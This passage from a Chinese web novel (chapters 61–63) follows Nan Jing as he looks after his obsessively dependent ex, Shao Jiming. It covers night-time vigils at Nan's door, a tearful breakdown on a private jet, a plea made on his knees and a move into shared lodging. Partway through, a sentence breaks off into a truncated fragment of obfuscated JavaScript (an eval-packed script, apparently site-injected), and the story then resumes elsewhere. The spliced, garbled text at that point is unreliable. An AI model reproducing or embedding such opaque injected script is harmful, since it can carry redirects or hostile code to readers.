“回去睡觉。”南景继续说道,“你的房间在那边。”他指了指走廊另一头邵既明的房间方向。 邵既明顺着他的手指看了一眼,又飞快地看了一眼南景,嘴唇抿了抿,似乎想说什么,但最终只是点了点头,然后低着头,像个做错事被老师发现的孩子,迈着有些虚浮的脚步,慢慢地、沉默地朝着自己房间走去。背影在昏暗的走廊里,单薄又孤单。 直到邵既明走进自己房间,关上了门,走廊里紧绷的气氛才稍微缓和了一些。 赵琪也终于松了口气,小声对周冉说:“大表嫂,二表哥他……刚才好像梦游一样,好吓人。” “没事了,琪琪,回去睡吧,锁好门。”周冉拍了拍她的背,示意保镖送赵琪回房。 秦朗则一脸崩溃地抓着自己的头发,看向南景,压低声音,语气充满了抓狂:“南景!这……这他妈又是什么情况?!大半夜蹲门口!他这是想干嘛?!明天是不是要蹲床底下了?!这房子还能不能住了?!” 南景没有立刻回答。他站在原地,目光沉静地望着邵既明房间紧闭的房门,过了一会儿,他才转回头,看向秦朗和周冉。 “可能是药物的副作用,也可能是潜意识行为。他白天过于顺从和压抑,夜晚潜意识可能会寻求某种确认或安全感。蹲在门口,可能……”他顿了顿,选了一个相对中性的词,“……是一种无意识的靠近和守候。” 秦朗听得心里发毛:“那怎么办?总不能每晚都这样吧?吓死人啊!” “今晚我会留意。”南景说道,看了一眼自己敞开的房门,“明天我会和唐医生沟通,看是否需要调整药物或采取其他措施。另外,”他看向秦朗,“别墅的安保系统,确保夜间走廊有足够的光线,但不要太刺眼。安排人夜间定时巡视,但不要打扰他。如果再有类似情况,优先通知我,不要直接惊动或刺激他。” 秦朗虽然满心“卧槽”,但也只能点头:“行,听你的。我马上安排。” 南景点了点头,没再多说,转身走回自己房间。在关门之前,他脚步顿了一下,目光似乎再次扫过刚才邵既明蹲过的那个角落,然后才轻轻关上了门。 秦朗看着南景关上的房门,又看看邵既明的房门,只觉得一个头两个大。他搂着周冉走回自己房间,关上门,终于忍不住开始低声咆哮:“老婆!这日子没法过了!真的!晚上蹲门口!白天跟幽灵似的!南景还一副尽在掌握的死样子!我他妈这是造了什么孽?!度个蜜月跟渡劫似的!还是九九八十一难那种!现在怎么办?啊?明天他会不会蹲泳池底?或者蹲我门口?!” 周冉被他晃得头晕,一把拍开他的手,没好气地说:“慌什么?南景不是说了会处理吗?他比你有谱多了。至于邵既明……啧,蹲门口算什么,没蹲你老婆门口算给你面子了。” 秦朗:“……”你这话是安慰我还是补刀?! 他颓然地倒在床上,望着天花板,内心那十万头草泥马再次开始了绝望的奔腾。 邵既明啊邵既明,哥求你行行好,快点好起来吧! 再这么下去,你哥我没被你的病吓死,也要被你这层出不穷的“惊喜”给折腾出心脏病了! 南景啊南景,你最好真的有谱,不然老子这弟弟,怕是真要折在这火葬场里,连灰都剩不下了! 而南景躺在自己房间的床上,并没有立刻入睡。他睁着眼睛,望着天花板,耳边似乎还能听到刚才邵既明那声迷糊的“南景?”,和看到他时眼中一闪而过的、孩子般的困惑与无措。 蹲在门口…… 无意识的靠近和守候…… 61. 归家 马德里的日子,在一种表面规律、内里暗流涌动的节奏中缓慢推进。别墅成了临时的“疗养院”兼“观察站”。南景严格履行着他接管者的职责。而邵既明,就像一只被无形丝线牵引的的人偶,执行着每一个指令,目光大部分时间低垂,只有在南景身上,才会短暂地停留。 南景有晨间散步的习惯,通常在早餐前。邵既明会被允许跟在身后三步的距离。起初只是沉默地走着,直到某天,南景在一丛开得正盛的红色天竺葵前停下脚步,多看了一眼。第二天清晨,经过那里时,邵既明忽然用很轻的声音说:“你去年在摩洛哥,拍过这种花的照片,说它像凝固的火。” 他确实在摩洛哥的舍夫沙万拍过天竺葵,但那只是他旅行随手拍的。邵既明怎么会知道?除非……他连自己那些鲜少更新、只偶尔发风景照的社交账号下,每一张图片、每一个可能存在的标签或极其偶尔模糊的定位信息,都反复咀嚼、刻进了心里。 南景没有回应,只是继续往前走。 南景在别墅的书房处理工作邮件或阅读。邵既明被安排在同一间书房角落的沙发上看书。书房很大,两人各据一方,互不打扰。直到某次,南景因为一个棘手的合同条款微微蹙眉,手指无意识地在桌面敲击了几下,节奏略快。这几乎是他无意识表示轻微烦躁的小动作。 几分钟后,一杯加了半勺蜂蜜的红茶,被悄无声息地放在了他手边不远不近的位置。南景从屏幕上抬起眼,看向角落。邵既明依旧低着头,仿佛全身心沉浸在那本关于西班牙建筑史的厚书里,只有微微泛红的耳根泄露了一丝不自然。 南景看着那杯茶。他没有说谢谢,也没有拒绝,只是沉默地端起来,喝了一口。温热的液体滑过喉咙,似乎真的缓解了那点莫名的焦躁。他放下杯子,目光重新回到屏幕,但敲击桌面的手指,不知何时已经停了下来。 傍晚,露台小坐。日落时分,南景喜欢在露台坐一会儿,看天际线被染成金红。邵既明通常会安静地待在室内。直到一个傍晚,南景无意中提到马德里的夕阳和他在纳米比亚沙漠看到的有些不同,后者更空旷苍凉。他只是随口一句感慨,甚至没有看向屋内的邵既明。 第二天傍晚,当他走到露台时,发现他常坐的那把藤椅旁的小圆几上,放着一本摊开的厚重摄影集。翻开的那一页,正是纳米比亚死亡谷的日落,巨大的红色沙丘在夕阳下投下孤寂的阴影,天空是燃烧般的绛紫色。摄影集很新,显然是今天才让保镖或管家临时买来的。旁边还放着他昨晚随口提了一句“好像喝完了”的他惯喝的那种牌子的苏打水。 南景站在那本摄影集前,沉默了很久。夕阳的光将他挺拔的身影拉长,投在光滑的露台地板上。他没有坐下,也没有去拿那瓶水,只是长久地注视着那张照片,和照片旁冰凉的瓶身。 他想起唐医生的话,邵既明记得他所有的好。现在看来,他记得的,远不止那些“好”。他记得他所有细微到连自己都可能忽略的偏好、习惯、无意识的举动、甚至随口一句的感慨。这种记忆不是刻意的讨好,而是一种病态的、全方位的渗透和关注,如同呼吸一样自然,已经成为邵既明感知世界、定位自身的一部分。他通过复现这些细节,来确认南景的存在,来维系自己与这束“光”之间那脆弱而唯一的连接。 夜晚,依旧是最大的挑战。尽管南景和唐医生沟通后,调整了邵既明的药物,但邵既明蹲门口的行为,并未完全停止。有时候是清醒地发呆,有时候是昏昏欲睡,有时候就直接蜷在那里睡着了。 秦朗对此从最初的惊恐暴怒,到后来的无奈吐槽,再到现在的麻木接受。算了,蹲就蹲吧,只要不吓到琪琪,不伤害自己,蹲在门口总比蹲在窗台上强。他只能这样安慰自己。周冉则一针见血地评价:“这就跟有些狗喜欢睡在主人卧室门口一个道理,是刻在DNA里的守护和依赖,只不过你弟这狗品种比较稀有,病的。” 南景对周冉的比喻不置可否。但他确实在适应这种诡异的夜间陪伴。有时候他深夜醒来,会下意识地看向房门方向,虽然什么也看不见,但知道有个人以一种笨拙和病态的方式,守在门外,居然有种难以言喻被需要的变态感觉。 裂缝,在日复一日邵既明无意识却无处不在的“爱”的渗透下,在那些被精准记忆的细节、悄无声息的关怀、和夜晚固执的守候中,缓慢地、无可挽回地,扩大着。 南景开始意识到,他对邵既明的了解,正在被不断修正。这不只是一个病了的前任,一个需要监护的高危病人。这是一个记得他所有喜好、能捕捉他细微情绪、会用笨笨的方式试图对他好、甚至本能地想要守护他的人。这份情感扭曲、病态、充满风险和负担,但其内核那份执着与专注,却沉重得无法忽视。 一天下午,邵既明在书房角落的沙发上睡着了。阳光透过百叶窗,在他苍白的脸上投下明暗交错的光影。他手里还拿着一本看到一半的建筑杂志,封面上是巴塞罗那的米拉之家。南景处理完工作,一抬头,就看到了这副景象。 鬼使神差地,他坐在自己的位置上,目光落在邵既明沉睡的脸上。褪去了白日的拘谨和偶尔的茫然,睡着的邵既明眉宇间依旧笼罩着一层淡淡的脆弱,但神情是放松的。嘴唇没什么血色,微微抿着。 南景看了很久。他想起了大学时,邵既明在图书馆趴着睡着的样子,那时候的他意气风发,睡颜都带着股不羁。想起了后来同居时,偶尔深夜醒来,看到身边人沉静的睡脸,心里会涌起莫名的踏实。也想起来分开后,无数个独处的夜晚,和醒来时空旷冰凉的床侧。 那些早已被封锁的记忆碎片,此刻不受控制地翻涌上来,与眼前这个苍白脆弱、却以病态方式重新嵌入他生活的男人重叠。 心口那道裂缝,骤然传来一阵闷闷的抽痛。不是尖锐的刺痛,而是那种沉甸甸的、仿佛有什么东西在里面缓慢胀开、撑开裂隙的钝痛。 他移开视线,强迫自己看向窗外马德里明媚的蓝天。阳光刺眼。 有些东西,不一样了。那道裂缝一旦开始扩大,就再难恢复原状。冰原的融化,或许始于最细微的缝隙,但最终,可能会引发整片冻土的松动。 湾流G800在平流层平稳地巡航,窗外是无边无际的钴蓝色天幕和下方棉花糖似的厚重云海。真皮座椅宽敞舒适,秦朗搂着周冉在小声看着一部电影,赵琪戴着耳机在平板上玩游戏。南景坐在靠窗的位置,正翻阅着一本杂志。 邵既明坐在他对面的座位上,从起飞后不久就按照医嘱服用了助眠和稳定情绪的药物,此刻正歪着头,似乎陷入了沉睡。 飞行过半,当飞机遇到一股轻微的气流,机身产生些许颠簸时,邵既明的身体随着晃动了一下。他眼皮下的眼球快速转动了几下,然后,缓缓地,睁开了眼睛。 起初,眼神是涣散的,带着药物残留的迷茫。他愣愣地看着机舱顶部的灯光,又茫然地转动眼珠,扫过舷窗外刺目的阳光和云海,最后,视线落在了对面正在看杂志的南景身上。 南景察觉到了目光,从杂志上抬起头,迎上邵既明的视线。两人目光在空中交汇。 几秒钟诡异的静止。 然后,邵既明的瞳孔,像是被什么东西从内部猛地刺中,剧烈地收缩了一下!他脸上没有看那种药物带来的懵懂,是一种急速涌上来的震惊、茫然、以及某种……迟来的恐慌和羞耻的神情。 他的嘴唇开始不受控制地颤抖,眼眶以肉眼可见的速度迅速变红,蓄满了泪水。他看着南景,眼神不再空洞,不再依赖,而是充满了某种清醒的痛苦。他像是突然从一场漫长而浑噩的噩梦中短暂惊醒,看到了梦境外真实不堪的狼藉,以及……那个被他拖入这片狼藉中心的人。 “南……南景……”邵既明的声音嘶哑破碎,带着浓重的哽咽,眼泪毫无预兆地夺眶而出,顺着他苍白的脸颊汹涌滚落。他不是小声啜泣,而是无声的嚎啕,肩膀剧烈地耸动,胸膛起伏,却发不出太大的声音。 这突如其来的变故让机舱里的所有人都愣住了。秦朗猛地按下暂停键,和周冉一起转过头。赵琪也摘下了耳机,惊讶地看过来。 南景合上了杂志,坐直了身体,目光沉静地看着突然崩溃的邵既明,判断着这是否是又一次癔症或情绪失控的前兆。 邵既明却仿佛对周围的一切毫无所觉,他只是死死地看着南景,泪水模糊了视线,他胡乱地用手背抹了一把,却抹不干净。然后,他做出了一个让所有人都意想不到的动作—— 他猛地从座位上倾身向前,伸出那只没有受伤却还在微微颤抖的右手,一把抓住了南景放在扶手上的左手!他将南景微凉的手掌紧紧贴在自己湿漉漉的脸颊上。 “对不起……对不起……”他语无伦次地重复着,眼泪更加汹涌,几乎是不成句的言语,“我……我不是故意的……我不知道……我控制不住……让你看到……那么恶心的样子……蹲在门口……像个变态……对不起……我真的……不想的……” 他像是在对过去一段时间所有不受控制的、病态的行为进行忏悔。他抓着南景的手,将脸更深地埋进那微凉的掌心,滚烫的泪水濡湿了南景的皮肤。 “谢谢……谢谢你……还在……没有……丢下我……” 然后,他像是耗尽了这短暂清醒带来的所有力气和勇气,身体一软,抓着南景的手也松了力道,整个人脱力般向后倒回座椅里,闭上眼睛,只剩下压抑不住的抽泣,和脸上肆意横流的泪水。 秦朗已经从最初的震惊中反应过来,他脸色变了又变,看着弟弟这副清醒状态下崩溃痛哭、抓着南景手道谢又道歉的模样,心里像打翻了五味瓶。但他更怕这突然的清醒和情绪爆发是更严重问题的前兆。 “药!快!给他吃药!”秦朗低声说了一句,自己立刻起身去翻随身携带的应急药盒。他拿出水,又倒出两片稳定情绪的药物,走到邵既明身边:“既明,来,先把药吃了,吃了就好了,没事了……” 邵既明听到秦朗的声音,极其缓慢地睁开了哭得红肿的眼睛。他看向秦朗,吸了吸鼻子,声音沙哑得厉害,却清晰地叫了一声: “哥。” 这一声“哥”,让秦朗的手猛地一抖,水差点洒出来。 “对不起……”邵既明看着秦朗,眼泪又涌了出来,“让你……担心了。我……我好像,搞砸了好多事。” 秦朗的鼻子瞬间就酸了,他用力眨了眨眼,把那股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邵既明不动,只是看着南景的方向,喉咙里发出含糊抗拒的“唔嗯”声。 秦朗心里咯噔一下,一种已经熟悉的不祥预感涌上心头。他尝试用力把邵既明往车里塞:“听话!我们先去医院!南景他们回家!晚点再见!” 邵既明却像脚下生了根,任凭秦朗怎么拉,就是不肯挪动半步。他的目光依旧盯着南景,眼神里充满了无声的恐慌和哀求,仿佛被带走的就是生离死别。他开始微微挣扎,虽然力道不大,但抗拒的意味非常明显。 “邵既明!你他妈给我上车!”秦朗急了,压低声音吼道,额角青筋跳了跳。 可邵既明仿佛听不见,他只是看着南景已经拉开车门,一只脚迈了进去。就在南景即将完全坐进车里、关上车门的瞬间—— “不……!”邵既明喉咙里挤出一声嘶哑的哀鸣,猛地甩开了秦朗的手,踉跄着就要朝南景那辆车的方向扑过去! 秦朗眼疾手快,一把从后面死死抱住了他!可邵既明虽然瘦弱,挣扎起来的力道却不小,而且完全是不管不顾的姿态,秦朗竟有些抱不住,场面一时有些混乱。 “操!”秦朗气得太阳穴突突直跳,看着怀里还在徒劳挣扎、眼睛只盯着南景方向的弟弟,一股邪火直冲头顶。他恨不得当场邦邦给他两拳,打晕了直接塞进车里了事!可看着邵既明那张苍白脆弱的脸,他又下不去手。 南景显然也注意到了这边的动静。他停下了上车的动作,转过身,看了过来。隔着不远的距离,他能清楚地看到邵既明眼中那几乎要实质化的恐慌和依赖,看到秦朗又气又急、快要崩溃的模样。 几秒钟的沉默。 然后,在秦朗几乎要放弃、准备让保镖帮忙强行把人弄上车时,南景迈开步子,朝他们走了过来。 他走到挣扎不休的邵既明面前,停下脚步。邵既明看到他走近,挣扎的力道奇迹般地小了下来,只是依旧喘着气,眼睛一眨不眨地看着他。 南景没有看他,而是看向一脸“老子要疯了”的秦朗。 “我跟你一起去唐医生那里。” 说完,他不再理会秦朗瞬间错愕又复杂的表情,径直拉开了秦朗这辆车的后座车门,然后侧身,看向邵既明,用眼神示意他上车。 邵既明几乎没有任何犹豫,立刻挣脱了秦朗,迅速地钻进了车里,坐到了靠里的位置,然后眼巴巴地看着还站在门外的南景。 南景没说什么,也弯腰坐了进去,关上了车门。 全程,他没有碰触邵既明,也没有多说一个字。 秦朗站在车外,看着车里瞬间乖巧下来的弟弟,只觉得一口老血堵在胸口,上不去下不来。他抹了把脸,认命地拉开副驾驶的门,坐了进去,对司机挥了挥手。 车子缓缓驶离停机坪。 秦朗从后视镜里看着那两人,心里那十万头草泥马再次开始了奔腾了起来。 完了。 这下真完了。 南景算是彻底被他弟弟这牛皮糖给粘上了。甩都甩不掉了。 这哪是接管啊,这他妈是绑定啊!还是终身制的那种! 车子汇入机场高速的车流,朝着城郊那家私立医院的方向驶去。 62. 同居啦 听完秦朗描述飞机上邵既明短暂清醒、崩溃道歉,以及落地后死活不肯和南景分开的整个过程,唐医生推了推鼻梁上的金丝眼镜,脸上并没有露出意外的神情,反而缓缓点了点头,唇角甚至浮起一丝微笑。 “这是一个积极的信号,秦先生,虽然表现形式……比较剧烈。邵先生的主意识,或者说,他真正具备完整认知和情感判断能力的那部分自我,很可能一直被困在由抑郁、焦虑、解离和药物副作用共同构建的玻璃罩里,处于一种隔离或半休眠状态。而这段时间活跃的,更多是他的次级意识或本能意识,这个意识极度缺乏安全感,逻辑简单,以生存和靠近安全源也就是南先生为最高指令,所以会表现出全然的依赖、顺从,以及一些无意识、靠近光源的行为,比如夜间蹲守。” 他顿了顿,看向坐在沙发上、目光自始至终都黏在坐在另一张单人沙发上的南景身上的邵既明。邵既明对他们的谈话似乎毫无兴趣,只是专注地看着南景,偶尔会因为南景微小的动作眼神微动,像只警惕又依赖主人的猫。 “现在,”唐医生继续道,“飞机上的短暂清醒,可能是主意识在药物浓度变化、环境刺激或强烈情绪冲击下,暂时突破了玻璃罩的表现。他意识到了自己这段时间的异常,感到了羞耻和恐惧,所以崩溃道歉。这说明他的主意识并未消失,情感认知能力也还存在。如果南先生能够持续以这种稳定引导性的方式存在于他身边,我们可以尝试逐步、谨慎地减少某些压制性药物的剂量,为他的主意识苏醒和重新整合创造空间。” 秦朗听到减少药量、主意识苏醒,先是眼睛一亮,觉得弟弟有救了!但随即唐医生后面的话,又让他的心沉了下去。 “但是,”唐医生话锋一转,语气变得凝重,“这存在风险。减少药物,如果引导不当,或者外界刺激过大,可能会加剧两种意识状态之间的冲突和不稳定,甚至……不排除发展为更明确的解离性身份障碍,也就是俗称的双重人格的风险。两个意识或状态可能会交替出现,但根据目前情况判断,无论哪一个占主导,其对南先生的深度依赖和执念,恐怕都不会改变,只是表现形式可能有所不同。” 秦朗听得一个头两个大,太阳穴突突地跳。这他妈叫什么选择题?!继续吃药,弟弟像个没有灵魂的提线木偶,完全依赖南景,还可能吃出其他毛病;减少吃药,弟弟的主意识可能回来,但可能会变成两个人轮流上岗,而且不管哪个上岗,都他妈只认南景一个!这跟没选有什么区别?!他这五年,自己没生出个儿子,倒是把邵既明这个不省心的弟弟当儿子一样操心照顾了五年,结果越照顾越复杂,越照顾越离谱! “那怎么办?!”秦朗几乎是低吼出来,一脸崩溃,“总不能一直这样吧?!南景也不可能真给他当一辈子人形安定剂啊!” 唐医生理解地点点头:“所以,接下来的治疗,关键在于平衡和引导。在专业治疗和药物调整的同时,南先生的存在是至关重要的稳定剂和引导线索。我们需要利用这种依赖,帮助邵先生重建现实感、安全感和逐步恢复的情感联结能力。这需要极高的技巧和耐心,也需要南先生极大的……配合与克制。” 秦朗看向南景,眼神复杂。南景自始至终都安静地听着,脸上没什么表情,只是放在膝上的手指,轻轻叩击了一下。他明白唐医生的意思。 唐医生又看向沙发上对这番关乎自身命运的讨论漠不关心的邵既明,对秦朗说:“目前看来,强行将邵先生与南先生分开,尤其是在他目前这种次级意识主导、对分离极度恐惧的状态下,很可能诱发严重的应激反应,后果难以预料。所以,至少在治疗初期,他们需要保持相对密切的接触。” 秦朗只觉得一股邪火混着深深的无力感直冲脑门。他看着邵既明那副“除了南景眼里没别人”的死样子,又想到接下来可能更麻烦的局面,一时口不择言,带着发泄般的怒气,冲着邵既明吼道:“邵既明!你听见没?!唐医生说了,你现在离了南景就得疯!还不快点!给南景跪下!好好求求他收留你!不然他真不要你了,你就等着烂在医院里吧!”他纯粹是气话,是沮丧到极点的口不择言,根本没指望邵既明有反应。 然而 一直安静得像个人偶的邵既明,在听到“南景不要你”这几个字的瞬间,身体猛地一颤!他涣散的目光骤然聚焦,里面充满了孩童般的恐慌。他甚至没有思考,没有犹豫,就在秦朗话音落下的下一秒—— “噗通!” 一声闷响。邵既明直接从沙发上滑了下来,双膝结结实实地跪在了光洁的硬木地板上!动作快得丝滑,毫不犹豫。他仰着脸,看着因为这突如其来变故而明显愣了一下、随即眉头蹙起的南景,眼眶瞬间就红了,嘴唇哆嗦着,委屈巴巴又带着哭腔说道:“别……别不要我……我听话……我以后都听话……别丢下我……”那模样,那语气,活脱脱就是一个害怕被遗弃的孩子。 诊室里瞬间一片死寂。 唐医生镜片后的眼睛微微睁大,显然也对这个直接而剧烈的反应感到些许意外。 秦朗更是目瞪口呆,嘴巴张得能塞进一个鸡蛋,脑子里只剩下“卧槽?!”两个大字在刷屏。他妈的!我就随口一说!你还真跪啊?!邵既明你他妈膝盖是装了弹簧吗?!说跪就跪?!你的骨气呢?!你的骄傲呢?!老子真是……服了! 南景的反应最快。几乎在邵既明跪下的下一秒,他就已经从椅子上站了起来,两步跨到邵既明面前,伸出手,稳稳地抓住了邵既明的胳膊:“起来。” 邵既明被他抓住,抬起泪眼朦胧的脸,怯怯地看着他,似乎还在判断他是不是真的生气了。 “地上凉,先起来。”南景重复了一遍,手上用了点力。邵既明这才顺着他的力道,有些踉跄地站了起来,但依旧低着头,不敢看南景,手指无意识地绞着衣角,肩膀微微耸着,像个做错事等待发落的孩子。 南景看着他这副样子,吸了口气,又缓缓吐出。他松开了抓着他胳膊的手,但人依旧站在他面前,用温和的语调说道:“乖一点,就不会不要你。” 这句话像是有魔力,瞬间抚平了邵既明眼中所有的恐慌和委屈。他猛地抬起头:“嗯!我乖!我最乖了!” 秦朗在旁边看着这一幕,从最初的震惊,到后来的无语,再到此刻看着弟弟因为南景一句话就瞬间阴转晴、仿佛得到全世界的样子,心里那点怒气早就泄了个干净,只剩下满心窝子的酸涩、无奈,和一丝……连他自己都不愿承认隐约的松动。算了,这样……也行吧。至少,南景镇得住他。至少,他看起来……没那么痛苦了。 唐医生适时地轻咳了一声,将众人的注意力拉回。“那么,关于接下来的安排……” 最终,在唐医生的专业建议和眼前这无法强行分割的现实下,一个临时的方案出炉了:邵既明需要在一个稳定、安全、且南景存在可及的环境中进行下一步的治疗和观察。显然,秦朗那里不合适,医院封闭环境可能刺激他,而南景和周冉共同居住的地方,成了眼下唯一看似可行的选择。 但这个方案遭到了秦朗的强烈反对。 “不行!绝对不行!”秦朗像只被踩了尾巴的猫,差点跳起来,“让邵既明住进你们 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周冉嗤笑一声:“秦总,你是三岁小孩吗?还玩‘要么A要么B’的游戏?我跟你回家,留南景和邵既明孤男寡男共处一室?你是嫌场面不够乱,想给你弟创造机会是吧?至于你也住进来……”她拖长了调子,上下打量了秦朗一眼,“你是去当保镖,还是去当电灯泡?或者说,去现场直播你弟的追妻火葬场实况?” 秦朗被噎得满脸通红,但事关老婆和弟弟,他绝不退让:“我不管!不是我去,就是你跟我走!二选一!”他梗着脖子,眼神在周冉和南景之间来回扫视,一副“这事没商量”的倔强模样。 周冉没有立刻回答。她微微向后,靠进柔软的沙发背里,交叠起修长的双腿,目光在秦朗那张写满焦躁的脸上停留了片刻,又掠过南景,最后,落在邵既明那副仿佛离开南景一秒就会碎裂的模样上。 她忽然很轻、很轻地,叹了口气。 然后,她抬起眼,看向秦朗:“行了,别吵了。”她顿了顿,目光转向南景,“我跟你走吧,秦朗。” 秦朗愣了一下,似乎没料到周冉这么快就妥协,还答应得这么……干脆? 周冉继续道,“有些事,总要有个结果。不管这结果,是好,还是坏。一直这么拖着,悬着,对谁都不好。”她的目光若有似无地扫过南景和邵既明,“他们之间这笔烂账,是得有个了结。是彻底了断,还是……死灰复燃,总得在没外人瞎掺和的情况下,自己碰一碰,磨一磨,才看得清。我们杵在中间,除了添乱,没用。” 她看向秦朗,“至于你弟弟,”她用下巴点了点邵既明,“有南景看着,死不了。唐医生不也说了么,现在离了南景,他更危险。那就让南景管着。是好是歹,都是他们的造化。你总不能把他拴在裤腰带上过一辈子。是时候,让他……也自己面对一下了。” 周冉这番话,说得冷静又透彻,一下子戳破了秦朗那点过度保护和不放心的外壳。是啊,他总不能真把邵既明当儿子养一辈子。南景和邵既明之间那团乱麻,终究需要他们自己亲手去解,哪怕解的过程中会流血,会疼痛。而他,或许真的应该退一步,给彼此一个空间,也给自己和老婆一个……正常不受打扰的生活。 最重要的是——周冉答应跟他回家了!他的二人世界!他的蜜月,虽然已经支离破碎但可以续上!没有电灯泡!没有病号!只有他和老婆! 哼,弟弟很重要,但老婆更重要!而且老婆说得对,弟弟有南景看着,有唐医生管着,应该……大概……也许……出不了大事吧? 秦朗的脸上,几乎是控制不住地,一把抓住周冉的手,用力点头:“好!老婆!听你的!我们回家!” 周冉看着他这副瞬间“弟弟是什么?可以吃吗?”的没出息样,忍不住翻了个白眼。算了,跟这个二货回家,总比留在那边看那俩祖宗上演“他逃他追他插翅难飞”的诡异戏码强。 63. 破冰 最初同住的日子,像一场设定好程序的、沉默的拉锯战。白天,邵既明是那个过分乖巧的版本。南景让他吃药,他立刻吞下,连水都不需要多喝一口。南景让他坐在窗边晒太阳,他能一动不动地坐上一个小时,目光放空,只有南景走动时,眼珠才会跟着微微转动。南景处理工作,他就安静地待在客厅角落的沙发上,抱着一本书,但很少翻页,只是那么抱着。他吃得很少,睡得更少,整个人清瘦苍白得像一道影子,只有看向南景时,眼底才会燃起一点微弱的光。 夜晚,是程序出现BUG的时刻。无论南景睡前如何明确指令回自己房间睡觉,第二天清晨,当他打开房门,几乎总能看见那个熟悉的身影。有时是蜷缩在门口的地毯上睡着了,有时是抱着膝盖坐在那里发呆,听到开门声,会立刻抬起头,眼神懵懂又依赖地望着他,仿佛守候了一夜就只为等他出现。南景尝试过半夜醒来,开门让他回去,邵既明会乖乖起身,走回几步之遥的客卧。但第二天,那个身影依然会固执地出现在原地。 “为什么,总是不听话呢。”一个清晨,南景看着又一次坐在地毯上、仰头望着自己的邵既明,终于忍不住问道,手指拂过邵既明因为缺乏睡眠泛青的眼窝。 邵既明似乎没料到他会问这个,愣了一下。然后,他慢慢地伸出手,拉起了南景垂在身侧的手,将其掌心贴在了自己单薄睡衣覆盖的左胸口。那里,心跳透过温热的皮肤和薄薄的衣料,清晰地传递到南景的掌心,一下,一下,平稳,却莫名让人觉得脆弱。 邵既明抬起眼,看着南景,眼神是那种孩子般的纯粹和认真,仿佛在陈述一个颠扑不破的真理:“看不见你,这里……就生病了。疼,空空的,像有风在吹。”他皱了皱鼻子,带着点委屈,“睡着了,就看不见了。醒着,能看见,就不那么疼了。” 这简单到近乎幼稚的逻辑,却像一把生锈的钥匙,再次不轻不重地捅在了南景心口那道裂缝上。不是“想见你”,不是“需要你”,而是“看不见你,心会生病”。将生理的痛苦与精神上的依赖如此直白、如此扭曲地绑定在一起。南景感受到掌心下那规律却显得无力的心跳,一时无言。 最终,是南景做出了妥协。不是情感上的妥协,而是基于解决问题的实用主义。僵持不是办法,长期睡眠不足对邵既明本就脆弱的身体和精神更是雪上加霜。在咨询了唐医生,并确认邵既明没有攻击性或过激行为风险后,南景在自己宽敞的卧室里,离床不远不近的角落,铺了一个柔软的地铺。 “晚上,睡这里。”他对邵既明说,“如果晚上醒来,能看见我。但必须安静,不能发出声音,不能靠近我的床。这是规则。能做到吗?” 邵既明的眼睛瞬间亮了,他用力地、几乎是迫不及待地点头:“能!我能!我保证!很安静!” 于是,夜晚的蹲守变成了同室而眠。起初几天,邵既明显然很不适应,常常半夜突然惊醒,然后急切地、近乎惶恐地转头看向大床的方向,直到确认南景还在,呼吸才重新平稳,又蜷缩着睡去。有时南景浅眠,能感觉到黑暗中那道小心翼翼注视着自己的视线。但他没有出声,只是翻个身,背对着那道视线。渐渐的,或许是因为能看见带来的安全感,或许是因为药物的调整,邵既明夜惊的次数减少了,睡眠似乎踏实了一些。南景也终于能睡上几个相对完整的觉。 日子在这种诡异又平静的节奏中,滑过了一个月。窗外的梧桐树叶从浓绿染上些许金黄,秋意渐浓。 那天清晨,南景是在一种被注视的感觉中醒来的。不同于以往邵既明那种懵懂依赖的凝视,这道目光沉重、悲伤,带着一种几乎要满溢出来的痛苦。他缓缓睁开眼,侧过头—— 心脏,猛的跳动了起来。 邵既明没有睡在地铺上。他就坐在南景的床边,离他很近,几乎是蜷缩在床沿的位置。他穿着单薄的睡衣,赤着脚,双手紧紧抱着自己的膝盖,整个人缩成大大的一团。清晨微熹的天光从窗帘缝隙透进来,照亮了他泪流满面的脸。 没有声音。一点声音都没有。只有大颗大颗滚烫的泪水,像是断了线的珠子,无声地、汹涌地从他红肿不堪的眼睛里滚落,顺着他苍白瘦削的脸颊,滑到下颚,滴落在深色的睡衣前襟。他的下嘴唇被死死地咬着,用力到齿痕深陷,甚至已经咬破了皮,渗出了暗红的血珠,混着泪水,一片狼藉。他全身都在无法控制地细微颤抖,却依旧死死压抑着,不让自己发出一点呜咽。 他在哭。用尽全力、悲伤到极致、却寂静无声地恸哭。为了不吵醒南景。 南景几乎是瞬间就彻底清醒了。他猛地掀开被子,甚至来不及穿鞋,就这样赤脚踩在冰凉的地板上,半跪在邵既明面前,伸出手,却又在即将触碰到他时顿住:“邵既明?你怎么了?哪里不舒服?” 听到他的声音,邵既明浑身剧烈地一震。泪眼模糊地看向近在咫尺的南景。那眼神,不再是之前的空洞、依赖或孩童般的懵懂,而是南景曾经无比熟悉、却又久违了的——爱意。那是属于邵既明本人的眼神,那个骄傲的、别扭的、伤人的,却也深情到骨子里的邵既明。 四目相对。时间仿佛在这一刻凝固。 然后,那根名为压抑的弦,终于崩断了。 邵既明猛地伸出双臂,不管不顾地、用尽全身力气死死抱住了半跪在面前的南景!他的拥抱紧得几乎让南景窒息,冰冷的泪水瞬间浸湿了南景肩头的睡衣。压抑了整夜、乃至更久远的无声恸哭,终于冲破了紧闭的嘴唇,化作一声嘶哑破碎混着血与泪的哀嚎: “南景!!!对不起……对不起……对不起啊!!!” 他语无伦次,只是反复又绝望地重复着“对不起”,每一个字都像是从心肺里撕裂出来鲜血淋漓。 “能别不要我……求求你了……别不要我……”他将脸深深埋在南景的颈窝,滚烫的泪水汹涌,“我真的太痛了……这里……好痛……每一天……每一秒……都在后悔……都在想你……” 他哽咽着,更紧地抱住南景,仿佛要将他揉进自己的骨血里,声音颤抖得不成样子:“我真的……好爱好爱你啊……在很久很久之前……在我自己都不知道的时候……我就爱你了……爱到……把一切都搞砸了……爱到……把自己变成这副恶心的样子……南景……我爱你……我爱你啊……” 这不再是病态的依赖,不再是孩童的祈求。这是一个清醒的灵魂,在经历了漫长的迷失、病痛、自我厌弃和濒临毁灭后,终于挣扎着冲破牢笼,用最原始、最惨烈的方式,捧出那颗早已千疮百 